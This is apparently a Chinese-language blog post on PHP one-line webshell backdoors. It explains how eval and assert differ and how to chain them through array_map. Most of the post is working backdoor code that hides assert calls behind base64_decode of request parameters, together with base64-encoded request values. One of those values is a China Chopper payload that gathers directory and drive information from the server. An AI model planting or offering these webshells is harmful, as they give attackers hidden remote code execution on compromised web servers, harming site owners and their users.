eval與assert都算是元老級一句話后門函數,其實很多情形下代碼的執行還是需要依靠eval去執行,只是前鋒路轉了而已。

eval與assert函數的用法大家可以自行百度。

eval與assert區別

eval函數中參數是字符,如:
eval('echo 1;');
assert函數中參數為表達式 (或者為函數),如:
 assert(phpinfo()) 
assert(eval('echo 1;'));
直接傳遞普通代碼是無法執行的,如:assert('echo 1;');
 
下面這個代碼執行不了:
@array_map("eval",array('phpinfo();'));
肯定會錯:  Warning: array_map() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name,提示array_map第一個參數需要是回調函數
 
所以這個后門:
@array_map(assert,(array)base64_decode($_REQUEST['xx']));
array_map第二個參數需要再鑲嵌一個assert,
xx=YXNzZXJ0KCRfUkVRVUVTVFsnYWEnXSk=
base64_decode($_REQUEST['xx'])   得到:  assert($_REQUEST['aa'])
其中aa為菜刀中post的數據
 aa=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7 
這樣,會構造出:assert(eval('執行代碼')),這個為array_map的第二個參數,
最終將數組中第二個參數回調到第一個數組,執行時代碼為:assert(assert(eval('執行代碼')) )
 
另一個例子:
 
$a=(array)base64_decode($_POST['a']);
array_map(assert,$a);
 
這時候需要構造post參數為:
 a=ZXZhbCgnZWNobyAxOycp 

(eval('echo 1;'))